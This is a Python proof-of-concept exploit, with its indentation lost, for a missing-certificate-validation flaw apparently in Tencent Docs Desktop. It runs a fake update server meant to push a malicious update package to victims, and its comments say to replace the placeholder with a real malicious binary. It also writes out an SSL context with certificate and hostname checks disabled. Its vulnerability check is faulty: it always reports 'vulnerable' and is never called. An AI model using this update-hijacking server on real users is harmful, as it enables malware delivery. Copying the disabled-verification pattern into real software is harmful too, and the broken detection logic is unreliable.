The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
# CVE-2025-56230 PoC - Missing SSL Certificate Validation in Tencent Docs Desktop
# This PoC demonstrates the SSL certificate validation bypass
import ssl
import socket
import http.server
import socketserver
from urllib.parse import urlparse
class MaliciousUpdateServer(http.server.SimpleHTTPRequestHandler):
"""Fake update server that exploits missing SSL cert validation"""
def do_GET(self):
"""Handle update check requests"""
parsed_url = urlparse(self.path)
# Check if this is an update check request
if '/update' in parsed_url.path:
# Return malicious update response
# In real attack, this would serve a malicious update package
self.send_response(200)
self.send_header('Content-type', 'application/octet-stream')
self.end_headers()
# Malicious payload indicator
# Replace with actual malicious update binary in real attack
malicious_response = b'MALICIOUS_UPDATE_PAYLOAD'
self.wfile.write(malicious_response)
print('[+] Malicious update sent to victim')
else:
self.send_error(404)
def create_ssl_context_without_verification():
"""Demonstrate the vulnerable SSL context configuration"""
# This is what the vulnerable application does - NO CERTIFICATE VERIFICATION
context = ssl.create_default_context()
context.check_hostname = False # Vulnerable: hostname check disabled
context.verify_mode = ssl.CERT_NONE # Vulnerable: no certificate verification
return context
def check_vulnerability(target_host):
"""Check if target is vulnerable to CVE-2025-56230"""
try:
# Create vulnerable SSL context (what the app does)
context = create_ssl_context_without_verification()
# Try to connect with self-signed certificate
with socket.create_connection((target_host, 443), timeout=10) as sock:
with context.wrap_socket(sock, server_hostname=target_host) as ssock:
cert = ssock.getpeercert()
print(f'[!] Connection successful - Target may be VULNERABLE')
print(f'[!] Certificate validation is bypassed')
return True
except ssl.SSLCertVerificationError:
print('[+] Certificate properly validated - Target is NOT vulnerable')
return False
except Exception as e:
print(f'[-] Error: {e}')
return None
if __name__ == '__main__':
print('CVE-2025-56230 PoC - Tencent Docs Desktop SSL Validation Bypass')
print('=' * 60)
# Start malicious update server on port 8443
PORT = 8443
with socketserver.TCPServer(('', PORT), MaliciousUpdateServer) as httpd:
print(f'[*] Malicious server running on port {PORT}')
print('[*] Wait for victim to check for updates...')
httpd.serve_forever()